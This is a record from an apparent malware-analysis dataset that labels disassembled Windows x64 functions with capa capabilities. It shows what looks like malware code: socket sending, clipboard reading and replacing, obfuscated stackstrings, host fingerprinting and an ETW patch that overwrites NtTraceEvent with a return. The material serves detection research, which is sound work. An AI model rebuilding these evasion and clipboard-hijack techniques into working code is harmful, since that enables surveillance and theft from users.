joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2282750
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov esi, r8d
mov r12, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x11c], eax
je 0x2282799
nop
mov r9d, 1
xchg dword [rbx + 0x118], r9d
cmp r9d, 1
je 0x2282780
mov dword [rbx + 0x11c], eax
inc dword [rbx + 0x120]
xor r13d, r13d
lea ebp, [rsi + 9]
cmp qword [rbx + 0x50], r13
jne 0x22827b0
mov edx, r13d
jmp 0x22827b6
mov edx, dword [rbx + 0x58]
sub edx, dword [rbx + 0x50]
lea rcx, [rbx + 0x48]
add edx, 4
call fcn.022812b0
mov rax, qword [rbx + 0x58]
mov dword [rax], ebp
add qword [rbx + 0x58], 4
cmp qword [rbx + 0x50], r13
jne 0x22827d8
mov edx, r13d
jmp 0x22827de
mov edx, dword [rbx + 0x58]
sub edx, dword [rbx + 0x50]
lea rcx, [rbx + 0x48]
add edx, 5
call fcn.022812b0
mov eax, dword [rbx + 0x124]
mov rcx, qword [rbx + 0x58]
mov dword [rcx], eax
movzx eax, byte [rbx + 0x128]
mov byte [rcx + 4], al
add qword [rbx + 0x58], 5
cmp qword [rbx + 0x50], r13
jne 0x2282810
mov eax, r13d
jmp 0x2282816
mov eax, dword [rbx + 0x58]
sub eax, dword [rbx + 0x50]
lea edx, [rax + rsi]
lea rcx, [rbx + 0x48]
call fcn.022812b0
mov rcx, qword [rbx + 0x58]
mov r8, rsi
mov rdx, r12
call fcn.0228fde0
mov r11d, r13d
mov r9, r13
mov r10, r13
test esi, esi
jle 0x2282880
nop
movzx ecx, byte [rbx + r9 + 0x124]
mov r8, qword [rbx + 0x58]
inc r9
mov eax, 0x214d0215
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x7b
sub ecx, edx
add cl, 0x36
xor byte [r8 + r10], cl
test r11b, 3
cmove r9, r13
inc r11d
inc r10
cmp r11d, esi
jl 0x2282840
add qword [rbx + 0x58], rsi
cmp qword [rbx + 0x50], r13
jne 0x228288f
mov r8d, r13d
jmp 0x2282897
mov r8d, dword [rbx + 0x58]
sub r8d, dword [rbx + 0x50]
mov rdx, qword [rbx + 0x50]
mov rcx, rbx
call fcn.02282900
mov r11, qword [rbx + 0x50]
lea rcx, [rbx + 0x48]
mov edx, 0x400
mov qword [rbx + 0x58], r11
call fcn.02281370
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [rbx + 0x11c]
mov eax, 1
jne 0x22828db
dec dword [rbx + 0x120]
jne 0x22828db
mov qword [rbx + 0x118], r13
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x2282900
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor edi, edi
mov r14d, r8d
mov rsi, rdx
mov r13, rcx
mov ebp, r8d
mov r12d, edi
cmp r8d, 0xffff
jl 0x228298e
nop dword [rax + rax]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [r13 + 0x78]
xor r9d, r9d
mov r8d, 0xffff
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x2282971
inc ebx
cmp ebx, 0xf
jl 0x2282950
cmp ebx, 0xf
je 0x22829e1
sub ebp, 0xffff
add r12d, eax
add rsi, 0xffff
cmp ebp, 0xffff
jge 0x2282940
test ebp, ebp
jle 0x22829b8
mov rcx, qword [r13 + 0x78]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x22829b0
inc edi
cmp edi, 0xf
jl 0x2282992
cmp edi, 0xf
je 0x22829e1
add r12d, eax
or eax, 0xffffffff
cmp r12d, r14d
cmove eax, r12d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
or eax, 0xffffffff
jmp 0x22829c2

Function at 0x2282a50
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x50
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
xor r9d, r9d
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x48], rax
xor eax, eax
lea r8, [0x022829f0]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x50
pop rbx
ret
Function at 0x2282ac0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r12, rcx
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
mov qword [rsp + 0x30], rax
lea rdx, str.GetThreadDesktop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.GetUserObjectInformationA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
lea rdx, str.SetThreadDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.CloseDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rsp + 0x40], rax
lea rdx, [0x022a6c30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov ecx, eax
call rbx
mov r14, rax
mov ebx, 1
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, pe_nt_image_headers64
lea r8, [rsp + 0x50]
lea edx, [rbx + 1]
mov rcx, r12
call qword [rsp + 0x48]
test eax, eax
jne 0x2282bac
xor ebx, ebx
jmp 0x2282bc1
mov rcx, r12
call r15
test eax, eax
jne 0x2282bba
xor ebx, ebx
jmp 0x2282bc1
mov rcx, r14
call r13
nop
test rdi, rdi
je 0x2282bcf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rsi, rsi
je 0x2282bdd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.0228fda0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x2282cd0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, ecx
lea rcx, [0x022a6ae8]
mov r14b, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.OpenProcessToken
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.AdjustTokenPrivileges
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LookupPrivilegeValueA
mov rcx, rsi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x022a6cb8]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call rbx
test eax, eax
je 0x2282e11
neg ebp
lea r8, [rsp + 0x3c]
lea rdx, str.SeShutdownPrivilege
sbb eax, eax
xor ecx, ecx
mov dword [rsp + 0x38], 1
and eax, 2
mov dword [rsp + 0x44], eax
call r13
mov rcx, qword [rsp + 0x30]
xor ebp, ebp
lea r8, [rsp + 0x38]
xor edx, edx
lea r9d, [rbp + 0x10]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call r12
lea rcx, [0x022a6cd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x022a6ce0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rcx, qword [rsp + 0x30]
movzx ebx, r14b
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x2282e00
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rdi, rdi
je 0x2282e0e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, bl
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.0228fda0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x2282e40
Capabilities:
Get graphical window text

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
je 0x2282f80
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x2282f80
test rsi, rsi
je 0x2282f80
mov qword [rsp + 0x70], r12
lea rdx, [rsp + 0x60]
xor r12d, r12d
mov rcx, rbx
mov dword [rsp + 0x60], r12d
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x60], eax
jne 0x2282ea1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
jne 0x2282ec0
mov r8d, 0xfa
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r12, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
mov edi, 0xfa
mov eax, 2
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x78], r13
mov r13, 0xffffffffffffffff
mul rdi
cmovo rax, r13
mov rcx, rax
call fcn.02290350
mov r8d, edi
mov rcx, rbx
mov rdx, rax
mov rbp, rax
call qword [sym.imp.USER32.dll_InternalGetWindowText]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov r9d, r13d
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp eax, edi
jg 0x2282f6f
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], eax
mov r9d, r13d
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test rbp, rbp
je 0x2282f56
mov rcx, rbp
call fcn.02290408
mov eax, ebx
mov rbp, qword [rsp + 0x68]
mov r13, qword [rsp + 0x78]
mov r12, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
test rbp, rbp
je 0x2282f7c
mov rcx, rbp
call fcn.02290408
xor eax, eax
jmp 0x2282f58
mov r8d, 0xfa
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x2282fa0
Capabilities:
Enumerate processes

Disassembly:
push r12
push r13
push r14
sub rsp, 0x30
mov r13, rdx
mov r14, rcx
mov rdx, r8
mov rcx, r13
mov r12, r8
mov dword [r8], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x2283061
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
lea r15, [0x022b16d8]
nop
mov rbx, r15
mov esi, setsockopt
nop dword [rax + rax]
mov rdx, qword [rbx - 8]
lea rcx, [r12 + 0x2c]
call fcn.0229066c
test eax, eax
jne 0x228302f
mov rdx, qword [rbx]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r14
call fcn.022849f0
add rbx, 0x10
dec rsi
jne 0x2283000
mov rdx, r12
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x2282ff0
mov r15, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
add rsp, 0x30
pop r14
pop r13
pop r12
jmp fcn.0228fdc0
Function at 0x2283080
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rcx, [rbp - 1]
mov dword [rbp - 1], 0x61766441
mov dword [rbp + 3], 0x32336970
mov dword [rbp + 7], 0x6c6c642e
mov byte [rbp + 0xb], 0
mov dword [rbp + 0x2f], 0x6f6c6c41
mov dword [rbp + 0x33], 0x65746163
mov dword [rbp + 0x37], 0x49646e41
mov dword [rbp + 0x3b], 0x6974696e
mov dword [rbp + 0x3f], 0x7a696c61
mov dword [rbp + 0x43], 0x64695365
mov byte [rbp + 0x47], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x2f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0x17], 0x63656843
mov dword [rbp + 0x1b], 0x6b6f546b
mov dword [rbp + 0x1f], 0x654d6e65
mov dword [rbp + 0x23], 0x7265626d
mov rbx, rax
mov dword [rbp + 0x27], 0x70696873
mov byte [rbp + 0x2b], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0xf], 0x65657246
mov rsi, rax
mov dword [rbp + 0x13], 0x646953
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
lea rcx, [rbp - 9]
mov r12, rax
lea rax, [rbp - 0x11]
lea r8d, [rdi + 0x20]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rbp - 9], 0
mov dword [rsp + 0x20], edi
mov word [rbp - 5], 0x500
call rbx
mov dword [rbp - 0x19], eax
test eax, eax
je 0x22831d8
mov rdx, qword [rbp - 0x11]
lea r8, [rbp - 0x19]
xor ecx, ecx
call rsi
mov rcx, qword [rbp - 0x11]
call r12
mov eax, dword [rbp - 0x19]
cmp eax, 1
sete al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.0228fda0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x2283210
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov r12, rcx
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x6e72654b
mov dword [rbp - 0x15], 0x32336c65
mov dword [rbp - 0x11], 0x6c6c642e
mov byte [rbp - 0xd], 0
mov dword [rbp + 0xf], 0x53746547
mov dword [rbp + 0x13], 0x65747379
mov dword [rbp + 0x17], 0x6d69546d
mov dword [rbp + 0x1b], 0x46734165
mov dword [rbp + 0x1f], 0x54656c69
mov dword [rbp + 0x23], 0x656d69
mov dword [rbp + 0x27], 0x656c6946
mov dword [rbp + 0x2b], 0x656d6954
mov dword [rbp + 0x2f], 0x6f4c6f54
mov dword [rbp + 0x33], 0x466c6163
mov dword [rbp + 0x37], 0x54656c69
mov dword [rbp + 0x3b], 0x656d69
mov dword [rbp - 9], 0x656c6946
mov dword [rbp - 5], 0x656d6954
mov dword [rbp - 1], 0x79536f54
mov dword [rbp + 3], 0x6d657473
mov dword [rbp + 7], 0x656d6954
mov byte [rbp + 0xb], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x27]
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 9]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x29]
mov rdi, rax
call rsi
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x29]
call rbx
test eax, eax
je 0x2283329
lea rcx, [rbp - 0x21]
mov rdx, r12
call rdi
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.0228fda0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x2283350
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x34]
lea r8d, [rdx + 0x78]
mov dword [rsp + 0x30], 0
call fcn.02295160
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
lea rdx, [rsp + 0x34]
mov r8d, 0x27
mov rcx, rbx
call fcn.022906d0
xor eax, eax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xb0]
mov byte [rsp + 0xb0], 0
mov qword [rsp + 0xb1], rax
mov dword [rsp + 0xb9], eax
mov word [rsp + 0xbd], ax
mov byte [rsp + 0xbf], al
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [rsp + 0x20], 7
jbe 0x228342b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xb0]
repne scasb al, byte [rdi]
lea rax, [rsp + 0xb0]
mov r8d, 8
not rcx
sub rax, 7
lea rdx, [rcx - 1]
lea rcx, [rsp + 0xb0]
add rdx, rax
call fcn.0228fde0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
mov eax, dword [rsp + 0xb0]
not rcx
mov dword [rcx + rbx - 1], eax
movzx eax, word [rsp + 0xb4]
mov word [rcx + rbx + 3], ax
movzx eax, byte [rsp + 0xb6]
mov byte [rcx + rbx + 5], al
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.0228fda0
mov rbx, qword [rsp + 0xe8]
add rsp, 0xd0
pop rdi
ret
Function at 0x2283cd0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [0x022a7060]
call fcn.0228f380
or rcx, 0xffffffffffffffff
mov rbx, rax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 1
jbe 0x2283d6e
mov ecx, 0x400
call fcn.02290350
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call section..text
cmp eax, 0x104
jne 0x2283d6e
lea rcx, [rdi + 1]
mov edx, 0x82
xor byte [rcx - 1], 0x46
xor byte [rcx], 0x46
add rcx, 2
dec rdx
jne 0x2283d30
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x104
call fcn.0228fde0
mov rcx, rdi
call fcn.02290408
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x2284160
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push rdi
sub rsp, 0x60
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp byte [0x022b3ba8], 0
je 0x22842ae
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x22842ae
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x22842a8
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x22842a8
mov qword [rsp + 0x40], setsockopt
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x28], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x28]
call fcn.0228d710
nop
lea rcx, [rsp + 0x28]
call fcn.02283d80
test al, al
je 0x228428c
mov rdx, qword [rsp + 0x38]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
test rax, rax
je 0x228428c
call qword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x228428c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rsi, rax
test rax, rax
je 0x228428c
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
inc r8
mov rcx, rax
call fcn.0228fde0
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
cmp qword [rsp + 0x40], 0x10
jb 0x22842a8
mov rcx, qword [rsp + 0x28]
call fcn.0228fdc0
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.0228fda0
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x2284480
Capabilities:
Create thread
Encode data using xor
Patch event tracing for windows function

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rcx
lea rcx, str.ntdll.dll
mov dword [rsp + 0x30], 0xb8d18b4c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTerminateThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [rax]
cmp eax, dword [rsp + 0x30]
jne 0x2284708
mov qword [rsp + 0x178], rbp
lea rcx, str.ntdll.dll
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtTraceEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 1
mov rdi, rax
test rax, rax
je 0x228453d
lea r9, [rsp + 0x30]
lea r8d, [rsi + 0x3f]
mov edx, esi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [rdi], 0xc3
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [0x022a70d8]
call fcn.0228f380
lea rcx, [0x022b3ba8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [0x022a70dc]
call fcn.0228f540
xor ebp, ebp
mov dword [0x022b3ba0], eax
test eax, eax
je 0x2284596
lea r8, [0x0228dfa0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebp
call fcn.0229025c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x02284380]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebp
call fcn.0229025c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x022a6f58]
call fcn.0228f540
test eax, eax
jne 0x22845e9
lea rcx, str.driver
call fcn.0228f540
movzx ecx, byte [0x022b378e]
test eax, eax
cmove ecx, esi
mov byte [0x022b378e], cl
lea rcx, [rsp + 0x40]
call fcn.02283cd0
mov rsi, qword [rsp + 0x180]
test eax, eax
jne 0x2284620
lea rcx, [rsp + 0x40]
mov rdx, rbx
mov r8d, 0x104
call fcn.0228fde0
nop word [rax + rax]
lea r9, [rsp + 0x40]
lea r8, [0x022839b0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov byte [0x022b378d], bpl
mov byte [0x022b378c], bpl
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x022a7060]
call fcn.0228f380
or rcx, 0xffffffffffffffff
mov rbx, rax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 1
jbe 0x22846f8
mov ecx, 0x400
call fcn.02290350
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call section..text
cmp eax, 0x104
jne 0x22846f8
lea rcx, [rdi + 1]
mov edx, 0x82
nop word [rax + rax]
xor byte [rcx - 1], 0x46
xor byte [rcx], 0x46
add rcx, 2
dec rdx
jne 0x22846c0
lea rcx, [rsp + 0x40]
mov rdx, rdi
mov r8d, 0x104
call fcn.0228fde0
mov rcx, rdi
call fcn.02290408
cmp byte [0x022b378d], bpl
jne 0x2284620
mov rbp, qword [rsp + 0x178]
mov rdi, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.0228fda0
add rsp, 0x160
pop rbx
ret